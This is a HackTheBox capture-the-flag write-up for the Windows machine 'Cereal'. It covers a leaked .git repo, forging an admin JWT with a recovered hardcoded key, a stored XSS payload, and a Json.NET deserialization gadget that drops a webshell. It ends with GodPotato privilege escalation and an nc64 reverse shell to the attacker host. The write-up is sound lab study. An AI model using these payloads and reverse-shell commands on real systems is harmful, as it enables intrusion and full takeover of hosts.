HTB: Cereal Writeup

Cereal - HackTheBox Writeup

Machine Information

AttributeDetails
NameCereal
OSWindows
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.64.62
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Cereal is a Windows box built around an ASP.NET Core 3.0 application (Cereal) served on two virtual hosts, cereal.htb and source.cereal.htb. The latter leaked an exposed .git repository, which was dumped and mined for a hardcoded JWT signing key buried in the commit history. That key was used to forge an authentication token for user ID 1, but the interesting API endpoints were locked down to 127.0.0.1/::1 via an [Authorize(Policy = "RestrictIP")] filter. Chaining a stored XSS in the admin request-review panel with an insecure Newtonsoft.Json (TypeNameHandling.Auto) deserialization gadget in the app’s own Cereal.DownloadHelper class turned that server-side-only restriction into a remote-write primitive — the injected script made the server itself issue the privileged request, triggering the deserialization gadget and dropping a .aspx webshell into the site’s uploads folder. From there, command execution as cereal\sonny led to the user flag, and SeImpersonatePrivilege on a Windows Server 2019 host was abused with GodPotato to obtain a SYSTEM token and a full reverse shell.

TL;DR: Leaked .git repo → hardcoded JWT key in commit history → forged admin JWT → stored XSS bypasses RestrictIP by making the server request its own API → Json.NET deserialization gadget (Cereal.DownloadHelper) drops a webshell → foothold as sonny → SeImpersonatePrivilege + GodPotato → SYSTEM.


Reconnaissance

Service Enumeration

The target (10.129.64.62) resolves two virtual hosts behind IIS:

  • cereal.htb — the main Cereal web application (login page)
  • source.cereal.htb — a companion vhost that throws a raw ASP.NET compilation error on request:
<b>Compiler Error Message:</b> CS1519: Invalid token '&gt;' in class, struct, or interface member declaration

This error page is the first tell that source.cereal.htb is serving something it shouldn’t — a broken/partial deployment of the site’s own source tree rather than the compiled app.

Vulnerability Assessment

Probing further exposed a live .git directory under source.cereal.htb/.git/, confirmed reachable via a raw object fetch:

Terminal window
# confirm the .git tree is web-accessible
curl -sk https://source.cereal.htb/.git/HEAD -w "\n[%{http_code}]\n"
# [200]

An exposed .git on a production vhost is a full source-code disclosure vulnerability — the entire commit history, including anything ever committed and later “fixed”, is recoverable.


Initial Foothold

Dumping the repository

git-dumper (v1.0.9) was used to reconstruct the working tree from the exposed git objects:

Terminal window
# pull every reachable object and reconstruct the working tree
python3 -m git_dumper https://source.cereal.htb/.git ./cereal_src

This required the /etc/hosts entry for cereal.htb / source.cereal.htb to point at the current instance IP — a stale entry from a prior spawn caused an initial No route to host failure until it was corrected to 10.129.64.62.

The recovered repo is an ASP.NET Core 3.0 web app (Cereal.csproj, TargetFramework: netcoreapp3.0) with a React ClientApp frontend.

Recovering the hardcoded JWT key from history

Terminal window
cd cereal_src && git log -p -- Services/UserService.cs

The current HEAD has the signing key redacted, but the diff between commits shows it was previously hardcoded in plaintext and only masked in a later “security fix” commit — the key itself was never rotated:

commit 8f2a1a8 "CEREAL!!"
var key = Encoding.ASCII.GetBytes("secretlhfIH&FY*#oysuflkhskjfhefesf");
var key = Encoding.ASCII.GetBytes("****"); // later commit: 7bd9533 "Security fixes"

Since the key was leaked but the code never rotated it, any HS256 JWT signed with this key is trusted by JwtSecurityTokenHandler regardless of who issues it.

Forging an admin JWT

UserService.Authenticate embeds ClaimTypes.Name = user.UserId.ToString() as the sole claim — user ID 1 maps to the admin account. Using PyJWT 2.11.0, a valid token was forged directly, with no need to authenticate at all:

import jwt, time
key = "secretlhfIH&FY*#oysuflkhskjfhefesf"
now = int(time.time())
payload = {"unique_name": "1", "nbf": now, "exp": now + 7*86400, "iat": now}
token = jwt.encode(payload, key, algorithm="HS256")

Bypassing the RestrictIP policy

Controllers/RequestsController.cs gates Get, GetAll, Delete, and DeleteAll behind [Authorize(Policy = "RestrictIP")], which the app’s appsettings.json locks to ["127.0.0.1", "::1"]. Confirmed directly:

Terminal window
curl -sk https://cereal.htb/requests -H "Authorization: Bearer $TOKEN" -w "\n[%{http_code}]\n"
# [403] — blocked by RestrictIP, even with a valid admin JWT

The POST /requests (Create) action, however, has no RestrictIP policy — only [Authorize] — so an arbitrary JSON blob could be inserted into the Requests table from anywhere:

Terminal window
curl -sk -X POST https://cereal.htb/requests -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"json":"{\"title\":\"test\",\"description\":\"test\",\"color\":\"#000\",\"flavor\":\"test\"}"}'
# {"message":"Great cereal request!","id":9}

Get(int id) deserializes that stored json field with:

if (json.ToLower().Contains("objectdataprovider") ||
json.ToLower().Contains("windowsidentity") ||
json.ToLower().Contains("system"))
{
return BadRequest(new { message = "The cereal police have been dispatched." });
}
var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});

TypeNameHandling.Auto is the classic Json.NET insecure-deserialization primitive normally exploited with ysoserial.net ObjectDataProvider/WindowsIdentity gadgets — but the app blocklists those substrings by name. Rather than fight the blocklist, the app’s own Cereal.DownloadHelper class is a usable gadget in its own right: setting its URL and FilePath properties (both public setters) triggers a file download as a side effect:

Services/DownloadHelper.cs
private void Download()
{
using (WebClient wc = new WebClient())
{
if (!string.IsNullOrEmpty(_URL) && !string.IsNullOrEmpty(_FilePath))
{
// note: renames the target file by inserting "21098374243-" before the last "\"
wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath, "\\", "\\21098374243-"));
}
}
}

Since DownloadHelper never appears in the blocklist, Get(id) can be made to deserialize a $type pointing at it and drop an arbitrary remote file into the site’s uploads folder.

XSS as the server-side request trigger

Get(id) is only reachable from 127.0.0.1/::1 — but the request titles are rendered on the admin panel via a markdown component vulnerable to javascript:-URI XSS in link syntax. A malicious request was submitted whose title is a markdown link that document.writes an inline <script> (parentheses hex-escaped as \x28/\x29 to survive markdown parsing):

js_payload = (
"<script>"
"const xhr = new XMLHttpRequest\\x28\\x29;"
f"xhr.open\\x28'GET', 'https://cereal.htb/requests/{cereal_id}'\\x29;"
f"xhr.setRequestHeader\\x28'Authorization', 'Bearer {TOKEN}'\\x29;"
"xhr.send\\x28\\x29;"
"</script>"
)
cereal = {"json": json.dumps({
"title": f"[XSS](javascript: document.write`{js_payload}`)",
"flavor": "bacon", "color": "#000", "description": "test"
})}

When this stored request is next rendered by the app’s internal admin-review process — which runs on the server itself and therefore satisfies the 127.0.0.1 whitelist — the injected script fires an authenticated GET /requests/{id} from the server to itself, converting the RestrictIP bypass into a fully server-triggered deserialization call.

Delivering the webshell

A deserialization payload was staged first, pointing DownloadHelper at a classic VB cmd.aspx webshell hosted on the attack box:

deser = {
"$type": "Cereal.DownloadHelper, Cereal, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null",
"URL": "http://10.10.15.68:8000/cmd.aspx",
"FilePath": "C:\\\\inetpub\\\\source\\\\uploads\\\\cmd.aspx"
}

The initial attempt used port 80 for the local HTTP server, which failed — a stale python3 -m http.server process (owned by a prior session’s /tmp/exfil.py, running as root) already held that port. Switching the payload server to port 8000 resolved it:

Terminal window
setsid nohup python3 -m http.server 8000 > /tmp/www/http.log 2>&1 < /dev/null &

The XSS trigger was then fired against the deserialization request’s ID, and the server-side fetch of cmd.aspx showed up moments later:

10.129.64.62 - - [30/Aug/2026 16:30:18] "GET /cmd.aspx HTTP/1.1" 200 -

Per DownloadHelper’s rename logic, the shell landed prefixed:

Terminal window
curl -sk "https://source.cereal.htb/uploads/21098374243-cmd.aspx" -o /dev/null -w "%{http_code}\n"
# 200

Interacting with the webshell and reading user.txt

The webshell exposes an ASP.NET WebForms xpath/xcmd form protected by __VIEWSTATE/__EVENTVALIDATION, which have to be scraped and replayed on every request:

def run(cmd):
r = requests.get(BASE, verify=False)
viewstate = re.search(r'id="__VIEWSTATE" value="([^"]*)"', r.text).group(1)
viewstategen= re.search(r'id="__VIEWSTATEGENERATOR" value="([^"]*)"', r.text).group(1)
eventval = re.search(r'id="__EVENTVALIDATION" value="([^"]*)"', r.text).group(1)
data = {"__VIEWSTATE": viewstate, "__VIEWSTATEGENERATOR": viewstategen,
"__EVENTVALIDATION": eventval, "xpath": "c:\\windows\\system32\\cmd.exe",
"xcmd": f"/c {cmd}", "Button": "Run"}
resp = requests.post(BASE, data=data, verify=False)
cereal\sonny
python3 /tmp/webshell.py whoami
python3 /tmp/webshell.py "type C:\Users\sonny\Desktop\user.txt"
# <redacted>

Privilege Escalation

Enumerating for an impersonation path

Terminal window
python3 /tmp/webshell.py "whoami /priv"
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Terminal window
python3 /tmp/webshell.py "systeminfo | findstr /B /C:\"OS Name\" /C:\"OS Version\""
# OS Name: Microsoft Windows Server 2019 Standard
# OS Version: 10.0.17763 N/A Build 17763

SeImpersonatePrivilege on a Windows Server 2019 (build 17763) host rules out RottenPotato/JuicyPotato (which rely on RPC/BITS behaviors patched or since altered) and there’s no Print Spooler for PrintSpoofer. GodPotato (which abuses the DCOM/RPCSS OXID resolver marshalling flow rather than any single patched service) works regardless of build, so it was the tool of choice.

Staging tools

Terminal window
curl -sL -o GodPotato.exe "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe"
curl -sL -o nc64.exe "https://github.com/int0x33/nc.exe/raw/master/nc64.exe"

Both were pulled onto the target via the webshell:

Terminal window
python3 /tmp/webshell.py "powershell -c \"Invoke-WebRequest -Uri http://10.10.15.68:8000/GodPotato.exe -OutFile C:\\Users\\sonny\\Desktop\\GodPotato.exe\""
python3 /tmp/webshell.py "powershell -c \"Invoke-WebRequest -Uri http://10.10.15.68:8000/nc64.exe -OutFile C:\\Users\\sonny\\Desktop\\nc64.exe\""

Escalating with GodPotato

Direct quoting through the webshell’s single xcmd parameter mangled nested quotes badly enough that command output kept coming back empty, so the payload was base64-encoded as UTF-16LE and delivered via powershell -EncodedCommand — the standard technique for smuggling complex PowerShell through a crude web-based command runner:

cmd = r'''& 'C:\Users\sonny\Desktop\GodPotato.exe' -cmd 'C:\Users\sonny\Desktop\nc64.exe 10.10.15.68 9001 -e cmd.exe' '''
b = cmd.encode('utf-16le')
print(base64.b64encode(b).decode())

A netcat listener was opened on the attack box beforehand (through an mkfifo pipe to work around the webshell being one command-response per HTTP call):

Terminal window
setsid nohup bash -c "cat /tmp/shell_fifo | nc -l -p 9001 > /tmp/shell_9001.log 2>&1" < /dev/null &

Triggering the encoded command produced GodPotato’s DCOM/RPCSS token-theft trace, ending in a stolen SYSTEM token:

[*] Trigger RPCSS
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] Start Search System Token
[*] PID : 868 Token:0x848 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2688

The reverse shell landed on port 9001 as SYSTEM:

Microsoft Windows [Version 10.0.17763.1817]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>

GodPotato -cmd spawns nc64.exe with the impersonated SYSTEM token, giving a fully interactive shell with NT AUTHORITY\SYSTEM privileges and access to the root flag.


Attack Chain Summary

Exposed .git on source.cereal.htb
→ git-dumper full repo recovery
→ hardcoded JWT signing key recovered from commit history (git log -p)
→ forged admin JWT (uid=1) with PyJWT/HS256
→ POST /requests (unrestricted) stores arbitrary attacker JSON
→ Stored XSS in request title (javascript: document.write markdown link)
→ XSS fires server-side GET /requests/{id} from 127.0.0.1, satisfying RestrictIP
→ Json.NET TypeNameHandling.Auto deserializes Cereal.DownloadHelper gadget
→ DownloadHelper.Download() drops cmd.aspx webshell into /uploads
→ Webshell RCE as cereal\sonny → user.txt
→ whoami /priv: SeImpersonatePrivilege enabled
→ GodPotato (DCOM/RPCSS token theft) → SYSTEM token
→ nc64.exe reverse shell as NT AUTHORITY\SYSTEM → root.txt

Tools Used

ToolPurpose
curlVhost/error-page recon, .git reachability check, direct API probing
git-dumper (1.0.9)Reconstructing the exposed source.cereal.htb/.git repository
git log -pMining commit history for the redacted JWT signing key
PyJWT (2.11.0)Forging an HS256 admin JWT with the recovered key
Python requestsAutomating the POST /requests deserialization + XSS trigger payloads
Custom Python webshell clientScraping/replaying ASP.NET __VIEWSTATE/__EVENTVALIDATION against cmd.aspx
cmd.aspx (fuzzdb-webshell)Initial RCE primitive delivered via the deserialization gadget
python3 -m http.serverHosting the webshell and post-exploitation binaries for retrieval
GodPotato (V1.20, NET4)SeImpersonatePrivilege → SYSTEM token theft via DCOM/RPCSS
nc64.exeSYSTEM-level reverse shell
mkfifo + nc -lTurning a one-shot netcat listener into a persistent sink for a non-interactive webshell

Key Learnings

Techniques Practiced

  • Recovering source from an exposed .git directory and mining full commit history (not just HEAD) for secrets that were “redacted” rather than rotated
  • Forging JWTs against a recovered HS256 signing key with PyJWT
  • Chaining a stored XSS with a server-side-only authorization policy (RestrictIP) to make the server issue a privileged request against itself
  • Exploiting Newtonsoft.Json TypeNameHandling.Auto insecure deserialization using an application-defined gadget instead of ysoserial.net’s well-known (and blocklisted) gadget chain
  • Smuggling complex PowerShell through a crude WebForms-based webshell via base64 -EncodedCommand
  • Using GodPotato for SeImpersonatePrivilege → SYSTEM privilege escalation on Windows Server 2019, where RottenPotato/JuicyPotato/PrintSpoofer don’t apply

Lessons Learned

  1. Removing a secret from HEAD does not remove it from the repository — anyone who can walk git log -p recovers it just as easily as reading the file. Secrets must be rotated, not merely redacted in a follow-up commit.
  2. Blocklisting specific gadget-chain keywords (ObjectDataProvider, WindowsIdentity, System) against a Json.NET deserialization sink doesn’t close the vulnerability class — any type reachable through the app’s own namespace with a side-effecting property setter is a usable gadget the blocklist won’t catch.
  3. An IP-based authorization policy is only as strong as the code paths that can be tricked into making requests on the server’s behalf; a stored XSS rendered by an internal, same-host process is functionally equivalent to an SSRF against 127.0.0.1.
  4. Before binding a new local listener port during exploitation, check for stale processes left over from a prior session — a leftover python3 -m http.server 80 process silently absorbed the first delivery attempt.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • MinatoTW, “Cereal” HackTheBox Writeup — Document No D21.100.120, 2021-05-26. Used for explanatory context on the react-marked-markdown XSS advisory, the DownloadHelper gadget rationale, and the general SeImpersonatePrivilege escalation approach on Windows Server 2019.